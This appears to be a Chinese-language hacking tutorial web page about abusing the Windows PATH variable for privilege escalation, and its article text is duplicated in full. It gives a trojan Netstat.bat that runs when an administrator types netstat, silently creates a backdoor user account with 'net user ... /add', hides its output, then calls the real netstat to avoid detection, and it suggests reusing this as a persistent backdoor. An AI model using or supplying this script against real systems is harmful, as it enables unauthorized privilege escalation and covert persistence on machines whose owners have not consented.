环境变量在Hacking中的应用
互联网 发布时间:2008-10-08 19:35:42 作者:佚名
我要评论
首先,我们先了解下什么叫环境变量!
环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比
首先,我们先了解下什么叫环境变量!
环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比如
查看系统当前的环境变量,可以使用SET命令查看!
下面是执行SET命令后反馈的信息 ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\Administrator\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=145F63CA0A6F46D
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\Administrator
LOGONSERVER=\\145F63CA0A6F46D
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=D:\Progra~1\Borland\Delphi7\Bin;D:\Progra~1\Borland\Delphi7\Projects\Bpl\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f06
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
USERDOMAIN=145F63CA0A6F46D
USERNAME=Administrator
USERPROFILE=C:\Documents and Settings\Administrator
windir=C:\WINDOWS
======================================================================
我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!------Hacking中也提供了不少方便,不是么?
其实这就是 Path 变量所起的作用了!
如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。
也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的!
1.
当前目录下的可执行文件!
2.
依次查找Path变量中的所指定的目录! OK,在大体认识了环境变量后,我们开始切入主题,谈谈如何利用环境变量为我们的Hacking提供便利。
我们知道PERL安装后会在变量Path内容的最前面加入c:\perl\bin //目录依安装而定
而当管理员权限配置不当时,会疏忽此目录的权限配置(默认权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件。 下面我举个利用的例子!
//是否可利用,取决于Path变量的位置以及该目录是否可写
//环境变量一定要在系统自带环境变量之前。 假设条件如下:
目标安装了PERL,且目录为c:\perl\bin
//目录可写
系统环境变量中的Path变量内容如下
Path=c:\perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
我们可以在该目录下创建如下文件
Netstat.cmd
or
Netstat.bat //常用系统命令亦可,请自己举一反三!THX~
文件内容如下 @net user netpatch nspcn.org /add>nul
Rem 命令一定要记得加 @ 结尾加
>nul
Rem @是为了隐藏命令本身
Rem >nul 是为了隐藏命令执行完后的结果反馈!
@%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6
Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等,是起 参数的作用 当管理员执行命令时,由于Path变量中c:\perl\bin位于系统环境变量的前面,所以,当管理员执行Netstat命令时,系统会首先找当前目录下的可执行文件,默认也就是”C:\Documents and Settings\Administrator\” (依登陆用户而定)当没找到Netstat程序时,就会接着依次寻找环境变量中的Path变量中所定义的目录,第一个当然是c:\perl\bin目录啦..由于系统找的是可执行程序,SO…自然而然的找到了我们的Netstat.bat,然后系统也就理所当然的执行了我们设置好的命令。由于我们构造的巧妙,未露丝毫马脚..成功暗地提权…..
此乃三十六计中的暗渡陈仓也…. 提权的小技巧讲完了…聪明的你或许会想到..如果作为BACKDOOR呢?呵呵~~
为啥不可呢,有Idea就得试…没测试哪来的正果呢?
环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比如
查看系统当前的环境变量,可以使用SET命令查看!
下面是执行SET命令后反馈的信息 ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\Administrator\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=145F63CA0A6F46D
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\Administrator
LOGONSERVER=\\145F63CA0A6F46D
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=D:\Progra~1\Borland\Delphi7\Bin;D:\Progra~1\Borland\Delphi7\Projects\Bpl\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f06
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
USERDOMAIN=145F63CA0A6F46D
USERNAME=Administrator
USERPROFILE=C:\Documents and Settings\Administrator
windir=C:\WINDOWS
======================================================================
我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!------Hacking中也提供了不少方便,不是么?
其实这就是 Path 变量所起的作用了!
如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。
也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的!
1.
当前目录下的可执行文件!
2.
依次查找Path变量中的所指定的目录! OK,在大体认识了环境变量后,我们开始切入主题,谈谈如何利用环境变量为我们的Hacking提供便利。
我们知道PERL安装后会在变量Path内容的最前面加入c:\perl\bin //目录依安装而定
而当管理员权限配置不当时,会疏忽此目录的权限配置(默认权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件。 下面我举个利用的例子!
//是否可利用,取决于Path变量的位置以及该目录是否可写
//环境变量一定要在系统自带环境变量之前。 假设条件如下:
目标安装了PERL,且目录为c:\perl\bin
//目录可写
系统环境变量中的Path变量内容如下
Path=c:\perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
我们可以在该目录下创建如下文件
Netstat.cmd
or
Netstat.bat //常用系统命令亦可,请自己举一反三!THX~
文件内容如下 @net user netpatch nspcn.org /add>nul
Rem 命令一定要记得加 @ 结尾加
>nul
Rem @是为了隐藏命令本身
Rem >nul 是为了隐藏命令执行完后的结果反馈!
@%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6
Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等,是起 参数的作用 当管理员执行命令时,由于Path变量中c:\perl\bin位于系统环境变量的前面,所以,当管理员执行Netstat命令时,系统会首先找当前目录下的可执行文件,默认也就是”C:\Documents and Settings\Administrator\” (依登陆用户而定)当没找到Netstat程序时,就会接着依次寻找环境变量中的Path变量中所定义的目录,第一个当然是c:\perl\bin目录啦..由于系统找的是可执行程序,SO…自然而然的找到了我们的Netstat.bat,然后系统也就理所当然的执行了我们设置好的命令。由于我们构造的巧妙,未露丝毫马脚..成功暗地提权…..
此乃三十六计中的暗渡陈仓也…. 提权的小技巧讲完了…聪明的你或许会想到..如果作为BACKDOOR呢?呵呵~~
为啥不可呢,有Idea就得试…没测试哪来的正果呢?
相关文章
CC主要是用来攻击页面的,大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,论坛的页2024-01-06
入侵者主要通过Potato程序攻击拥有SYSTEM权限的端口伪造网络身份认证过程,利用NTLM重放机制骗取SYSTEM身份令牌,最终取得系统权限,该安全风险微软并不认为存在漏洞,所以2021-04-15
这篇文章主要介绍了文件上传漏洞全面渗透分析小结,这里主要为大家分享一下防御方法,需要的朋友可以参考下2021-03-21- 这篇文章主要介绍了sql手工注入语句&SQL手工注入大全,需要的朋友可以参考下2017-09-06
- 这篇文章主要介绍了详解Filezilla server 提权,需要的朋友可以参考下2017-05-13
FileZilla Server 2008 x64 提权与防御方法
这篇文章主要介绍了FileZilla Server 2008 x64 提权与防御方法,需要的朋友可以参考下2017-05-13- 不久之前我们说过关于http和https的区别,对于加密的https,我们一直认为它是相对安全的,可今天要讲的是,一种绕过HTTPS加密得到明文信息的web攻击方式,不知道这消息对你2016-08-10
iPhone和Mac也会被黑 一条iMessage密码可能就被盗了
一直以来苹果系统的安全性都是比安卓要高的,但是再安全的系统也免不了漏洞,苹果也一样。最近爆出的新漏洞,只需要接收一条多媒体信息或者iMessage就会导致用户信息泄露。2016-07-27- 国家正在修正关于黑客方面的法律法规,有一条震惊黑客圈的“世纪佳缘”起诉白帽黑客事件,深深的伤害了广大黑客们的心,加上扎克伯格和特拉维斯·卡兰尼克账号被盗,于是黑2016-07-11
如何逆向破解HawkEye keylogger键盘记录器进入攻击者邮箱
面对恶意邮件攻击,我们就只能默默忍受被他攻击,连自我保护能力都没有谈什么反抗?让人痛快的是,如今有了解决办法,逆向破解键盘记录器,进入攻击者邮箱2016-07-06



最新评论